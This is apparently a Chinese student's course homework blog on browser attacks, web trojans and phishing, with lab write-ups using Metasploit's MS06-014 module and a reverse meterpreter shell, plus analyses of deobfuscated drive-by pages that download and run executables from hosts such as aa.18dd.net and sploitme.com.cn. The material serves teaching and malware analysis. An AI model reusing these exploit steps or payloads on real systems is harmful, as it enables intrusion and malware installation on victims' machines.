20199305 2019-2020-2 《网络攻防实践》第十二周作业
20199305 2019-2020-2 《网络攻防实践》第十二周作业
一、前言
问题 | 回答 |
---|---|
作业属于 | https://edu.cnblogs.com/campus/besti/19attackdefense |
作业要求 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10553 |
课程目标 | 学习教材第十二章,完成课后实践 |
二、知识梳理
1.Web浏览器的技术发展与安全威胁
1.1Web浏览器战争与技术发展
1.1.1浏览器战争
浏览器大战,指不同的网络浏览器之间的市场份额竞争。常用来指以下两组竞争:第一组是20世纪时微软公司的Internet Explorer取代了网景公司,Netscape Navigator主导地位,这场大战甚至引发了美国诉微软案官司。第二组为2003年后Internet Explorer份额遭其他浏览器蚕食,包括Mozilla Firefox,Google Chrome,Safari和Opera
1.1.2浏览器技术发展
古典命令行浏览器仅仅实现了简单的HTTP客户端、HTML解析与渲染功能,而在浏览器的商业竞争中,出现了高度注重用户使用感受的图形界面浏览器软件,并逐步提供了图片、音视频等多媒体的支持,逐步进化目前互联网用户所依赖的现代浏览器
1.1.3现代Web浏览器的基本结构与机理
目前的现代Web浏览器要求能够理解和支持HTML和XHTML、CascadingStyleSheets (CSS)、ECMAScript及W3C Document Object Model (DOM)等一系列标准需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCAScript标准构建JavaScript. FlashActionScript等客户端脚本语言的执行环境,以及支持CSS标准控制页面的布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户
1.2Web浏览器的安全问题与威胁
1.2.1Web浏览器软件的安全困境三要素
(1)复杂性:现代Web浏览器软件由于需要支持HTTP、HTTPS、 FTP等多种类型的应用层协议浏览,符合HTML、XHTML、CSS等一系列的页面标准规范,支持JavaScript、Flash、Java、 SilverLight 等多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞大,这意味着更多的错误和安全缺陷,也就导致了目前浏览器软件中存在着可被渗透攻击所利用的大量安全漏洞。
(2)可扩展性:现代Web浏览器可能是最突出可扩展特性支持的软件类型,目前儿乎所有的现代浏览器软件都支持第三方插件扩展机制,并通过JavaScript等客户端脚本执行环境、沙箱和虚拟机来执行富Internet应用程序。而相对于大型软件厂商所开发的浏览器软件本身而言,三方扩展插件的开发过程更缺乏安全保证,出现安全漏洞的情况更为普遍。此外,浏览器插件一般也不具备自动版本更新的机制,安全漏洞被利用的时间周期较系统软件与浏览器软件本身漏洞要长。
(3)连通性:现代Web浏览器本身就是为用户实现“随时随地浏览互联网”这一目标而存在的,因此浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。
1.2.2Web浏览器安全威胁位置
如同Web应用服务端一样,Web浏览魂晶中的每个组件都面对着各种不同类型的安全威胁:
-
针对传输网络的网络协议安全威胁
-
针对Web了浏览器系统的平台安全威胁
-
针对Web浏览器软件及插件程序的渗透攻击威胁
-
针对互联网用户的社会工程学攻击威胁
2.Web浏览端的渗透攻击威胁——网页木马
2.1网页木马安全威胁的产生背景
2.1.1网页木马的产生与发展背景
网页木马是从而以网页脚本所孕育和发展出来的,如早期的的浏览器主页劫持、网页炸弹等。而黑客们进一步发掘出在浏览器端执行的恶意网页脚本能够利用客户端软件安全漏洞来获取访问权的机会,在浏览断之如恶意程序或进行其他任意操作,从而发展出网页木马这种较新的网络攻击技术
2.1.2web浏览安全威胁类型
(1)网络钓鱼(Phishing):架设钓鱼网站,如知名金融机构及商务网站,发送大量欺骗性垃圾邮件,诱骗因特网用户访问钓鱼网站并以敏感信息登录,最后滥用个人敏感信息
(2)恶意木马与流氓软件下载:主要包括两大问题:软件捆绑安装问题 ,Web浏览时遭遇的软件信任问题
(3)网页木马-浏览器渗透攻击:网页感染已成为国内互联网最重要的恶意代码传播形式
(4)不良信息内容
2.2网页木马的机理分析
2.2.1网页木马的定性特性
网页木马从本质特性上是利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。从根本上来说,网页木马是针对Web浏览端软件实施的客户端渗透攻击代码。
2.2.2对网页木马机理的全方位分析与理解
与传统的服务器端渗透攻击可以主动的进行网络扫描与攻击不同,网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面。此外在网页木马通过渗透攻击获得远程客户端执行权限后,为了进行进一步的主机控制和敏感信息窃取,一般需要植入一些盗号木马等类型的恶意程序。黑客为了更为高效地实施网页木马这种复杂的攻击场景,建立了一套具有明确的社会职责分工的网页木马攻击技术流程:
(1)病毒编写者负责实现网页木马和传统的盗号木马
(2)网络骇客出卖网站访问者或攻陷不安全的网站
(3)“信封”盗窃者在木马宿主站点上放置网页木马和传统盗号木马,并通过在大量网站中嵌入恶意链接将访问者重定向至网页木马,从而构建网页木马攻击网络
(4)受害者在访问挂马网站时,就会自动地链接网页木马并被其功绩,植入传统盗号木马,进而被盗取“信封”和虚拟资产
2.2.3网页挂马机制
(1)为使得能够有终端用户使用可能存在安全漏洞的Web浏览端软件来访问网页木马,攻击者还需要将网页木马挂接到一些拥有客户访问流量的网站页面上
(2)网页挂马四策略:
-
内嵌HTML标签:使用内嵌HTML标签,将网页木马链接嵌入到网站首页或其他页面中
-
恶意Script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马
-
内嵌对象链接:利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载
-
ARP欺骗挂马:在以上三类网站挂马策略基础上,危害更高的策略
2.2.4混淆机制
(1)提高反病毒工程师的分析难度,从而使得网页木马攻击网络更加难以被检测和摧毁
(2)比较广泛使用的混淆方法:
-
将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读分析
-
通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆
-
通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用 document.write() 或 eval() 进行动态输出或执行,此类混淆方法例如XXTEA网页加密工具
-
利用字符串运算、数学运算或特殊函数可以混淆代码,一个典型的例子是通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行
-
修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等
2.4网页木马防范措施
-
提升操作系统与浏览器软件的安全性,如第三方插件自动更新
-
安装反病毒软件
-
养成良好的浏览习惯,借助安全评估工具的帮助,避免访问安全性低的网站
3.揭开网络钓鱼的黑幕
3.1网络钓鱼技术概述
3.1.1什么是网络钓鱼攻击
(1)网络钓鱼 (Phishing)攻击者利用欺骗性的电子邮件和伪造的 Web 站点来进行网络诈骗活动,受骗者往往会泄露自己的私人资料,如信用卡号、银行卡账户、身份证号等内容。诈骗者通常会将自己伪装成网络银行、在线零售商和信用卡公司等可信的品牌,骗取用户的私人信息
3.1.2中国的网络钓鱼攻击
(1)中国互联网络信息中心联合国家互联网应急中心发布的《2009年中国网民网络信息安全状况调查报告》显示,2009年有超过九成网民遇到过网络钓鱼,在遭遇过网络钓鱼事件的网民中,4500万网民蒙受了经济损失,占网民总数11.9%。网络钓鱼给网民造成的损失已达76亿元
3.2网络钓鱼攻击的技术内幕
3.2.1网络钓鱼攻击的普遍技术流程
(1)攻击者扫描网段,寻找有漏洞的服务器;
(2)服务器被攻陷,并安装一个 Rootkit 或口令保护的后门工具;
(3)攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置测试工作,使得钓鱼网站上线运行;
(4)攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件;
(5)网页浏览的流量开始到达里钓鱼网站,潜在的受害者开始访问假冒的钓鱼网站内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。
3.3网络钓鱼攻击的防范
对以索取个人敏感信息的邮件提高警惕性,充分利用浏览器安全访问提示,涉及网上金融操作时,务必重要网站真实性,尽量使用U盾代替证书或口令。
三、动手实践
1、Web浏览器渗透攻击实验
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
所需环境:
①攻击机:BT4 Linux攻击机或Windows XP_Attacker攻击机,使用其中安装的Metasploit渗透攻击框架软件
②靶机:未打补丁的Windows靶机,可使用Windows 2KS靶机或Windows XP靶机
实验步骤:
选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
(1)在kali中输入 msfconsole
,打开Metasploit;输入search MS06-014
,搜索MS06-014渗透攻击模块,发现只有一个可用的攻击模块;输入use 0
,使用该模块进行攻击
(2)输入set LHOST 192.168.200.3
设置攻击机地址;输入set payload windows/meterpreter/reverse_tcp
设置载荷;输入exploit
进行攻击
(3)攻击后得到有木马的网址为http://192.168.200.3:8080/i7Nmw8nOVZOe1
,在靶机中访问地址,回到攻击机中显示建立会话
(4)最后我们验证会话是否有效,用sessions
查看连接。使用指令sessions -i 2
打开会话2,此时攻击机即可在靶机上执行命令,用ifconfig
命令可以查看靶机地址
2、Web 浏览器渗透攻击攻防对抗
任务:攻击方使用 Metasploit 构造出攻击至少两个不同 Web 浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理组装成一个URL链接,通过具有欺骗性的电子邮件发送给防守方。防守方对电子邮件中的挂马链接进行提取、解混淆分析,尝试恢复出渗透攻击代码的原始形态, 并分析出这些渗透代码都是攻击哪些 Web 浏览端软件的哪些安全漏洞。双方撰写详细实验分析报告, 对攻防对抗过程进行总结。这个实验所使用攻击机为 kail,靶机为 win 2kS
(1)构建漏洞的过程如第一个实践所示
(2)将链接地址复制粘贴到kali虚拟机中的搜狐浏览器中,搜索网址并右键网页查看源码,可以看到关键指令做了字符串拼接处理和大量的空白间隔。
(3)用在线工具https://www.sojson.com/jsjiemi.html
, 去掉js代码中的空格
去除空白与间隔后(),代码如下
< html > < head > < title > < /title><script language="javascript">function NMTecHqTwlncd(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function uuAbyFHRrcPdFfbNYhEOQzLI(a){var s=NMTecHqTwlncd(a,"WScript.Shell");var o=NMTecHqTwlncd(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload
';var xml=null;var bin=e.Item("TEMP")+"XHfsyzhkBIAE.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function BeMvp(){var i=0;var t=new Array(' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
',' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
',' {
7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
',' {
6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
',' {
6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
',' {
06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
',' {
639F725F - 1B2D - 4831 - A9FD - 874847682010
}
',' {
BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
',' {
D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
',' {
E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
',' {
AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
',' {
0006F033 - 0000 - 0000 - C000 - 000000000046
}
',' {
0006F03A - 0000 - 0000 - C000 - 000000000046
}
',null);while(t[i]){var a=null;if(t[i].substring(0,1)==' {
'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=NMTecHqTwlncd(a,"WScript.Shell");if(b){uuAbyFHRrcPdFfbNYhEOQzLI(a);return(0)}}catch(e){}}i++}}</script></head><body onload='
BeMvp()
'>EPboqnoNqNOztTdS</body></html>
可以看到调用了 document.location 加载了 payload,并且下一行中后面跟了一个可执行文件 XHfsyzhkBIAE.exe,打开任务管理器可以发现该文件
下面给出的那个数组比较可疑了,上网搜索,看到如下内容:
3、Web浏览器渗透攻击实验
任务:通过分析给的网络记录文件,回答下列问题:
列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
(1)首先将下载好的相关文件复制粘贴进kali虚拟机的home/kali文件夹,然后再在kali终端输入sudo apt install chaosreader
,安装chaosreader。
(2)使用命令chaosreader -r suspicious-time.pcap
打开 suspicious-time.pcap 文件,发现攻击主要集中在HTTP协议上
列出IP地址、主机名、域名,猜测攻击场景的环境配置。
(1)在终端输入
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat
"$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo
"$srcip --> $dstip = $host"; done | sort
可以看到rapidshare.com.eyu32.ru
对应192.168.56.50
; sploitme.com.cn
对应192.168.56.52
; shop.honeynet.sg
对应192.168.56.51
。
(2)输入命令 tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u
,筛选出NBNS协议,NBNS协议的作用是提供主机名和地址映射方法,即提供主机名称.可以发现这四个不同 ip 地址的主机分别映射的主机名是相同的
(3)再用wireshark打开 suspicious-time.pcap
,通过arp筛选发现,四个ip地址所对应的mac地址相同,推测这四台主机相同的或者克隆的,是虚拟机
(3)列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
(1)在文件夹中找到session_0006.part_01.html
打开,可以看出这应该是一个钓鱼网站,其对应的 rapidshare.com.eyu32.ru/login.php
打开session_0007.part_02.html
,其对应的sploitme.com.cn
,发现 404 NotFound
打开session_0032.part_01.html
,其对应的shop.honeynet.sg/catalog/
(4)请给出攻击者执行攻击动作的概要描述。
首先,受害者登录钓鱼网址登陆Rapidshare.com
(根据挂马机制,这估计是个流量挺大的网站),之后被重定向到sploitme.com.cn/fg/show.php?s=X
,接着重定向到伪造的404页面,触发恶意执行文件,在受害者访问购物网站时连接上作恶
(5)攻击者引入了哪些技巧带来了困难。
如上所示,打开网页sploitme.com.cn
,查看源代码,发现其将恶意页面伪装成404页面
(6)攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
(1)跟踪TCP
流,根据wireshark数据流的分析得知是针对主要攻击目标是windows操作系统和IE浏览器漏洞
(2)防范方法目前仅想到使用其他Web浏览器来防止攻击
(7)shellcode执行了哪些操作?比较他们之间MD5的差异?
Shellcode获取系统临时文件路径,加载urlmon.dll
,从 URL http://sploitme.com.cn/fg/load.php?e=1
检索可执行文件,然后执行它
(8)在攻击场景中有二进制可执行代码参与吗?目的是什么?
有,攻击使客户端从恶意软件分发网络服务器下载可执行文件并在本地执行,目的是在受害者主机上通过 Internet Explorer 加载 www.honeynet.org
4、web浏览器渗透攻击攻防对抗
任务:攻击方使用 Metasploit 构造出攻击至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理后组装成一个URL链接,通过具有欺骗性的电子邮件发送给防守方。防守方对电子邮件中的挂马链接进行提取、解混淆分析,尝试恢复出渗透攻击代码的原始形态,并分析出这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。撰写详细实验分析报告,对攻防对抗过程进行总结。
(1)试述你是如何一步步地从所给的网页中获取最后的真实代码的?
进入网页链接http://192.168.68.253/scom/start.html,但是该链接已失效,只能分析书中资料中给的代码,发现在该网页嵌入了一个内联框架,它指向网页new09.htm,且其高度宽度均为0,有利于隐蔽
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html dir=ltr>
<head>
<style>
a:link {font:9pt/11pt 宋体; color:FF0000}
a:visited {font:9pt/11pt 宋体; color:#4e4e4e}
</style>
<META NAME="ROBOTS" CONTENT="NOINDEX">
<title>找不到网页</title>
<META HTTP-EQUIV="Content-Type" Content="text-html; charset=gb2312">
</head>
<script>
function Homepage(){
<!--
// in real bits, urls get returned to our script like this:
// res://shdocvw.dll/http_404.htm#http://www.DocURL.com/bar.htm
//For testing use DocURL =
"res://shdocvw.dll/http_404.htm#https://www.microsoft.com/bar.htm"
DocURL = document.URL;
//this is where the http or https will be, as found by searching for :// but skipping
the res://
protocolIndex=DocURL.indexOf("://",4);
//this finds the ending slash for the domain server
serverIndex=DocURL.indexOf("/",protocolIndex + 3);
//for the href, we need a valid URL to the domain. We search for the # symbol
to find the begining
//of the true URL, and add 1 to skip it - this is the BeginURL value. We use
serverIndex as the end marker.
//urlresult=DocURL.substring(protocolIndex - 4,serverIndex);
BeginURL=DocURL.indexOf("#",1) + 1;
urlresult="new09.htm";
···
<iframe src="new09.htm" width="0" height="0"></iframe>
</body>
</html>
(2)求上述这两个的MD5散列值:
(3)根据MD5散列值在hashed文件夹中找到这两个文件,打开查看。在第一个文件中,由倒数第三行t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'))
;我们知道这个文件使用了一种被称为XXTEA+Base64
的加密方法,对付这种加密方法,我们只要找到它的加密密钥即可,这是一种16进制加密,用16进制转字符串转换器解码
(4)访问XXTEA在线加密解密工具,输入秘钥密钥 script ,得到了十六进制加密。在对对引号中的内容进行解密得到如下结果:
代码具体如下
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
四、总结与反思
本次实验太难了,涉及面太广了,并不能完全独立完成,部分内容需要同学的指导。实践四不是很会,仍然在努力尝试。实验三的最后两问是大神指导的,还需要深入学习,我现在最大的感受就是我的脑子明显不够用
五、问题与解决
Q:第一次进行渗透攻击的时候,将链接放入靶机没反应
A:后来发现是没开Hollywall,导致没有连接上
Q:右击文件suspicious-time.pcap
点open with wireshark
一直没反应
suspicious-time.pcap
点open with wireshark
一直没反应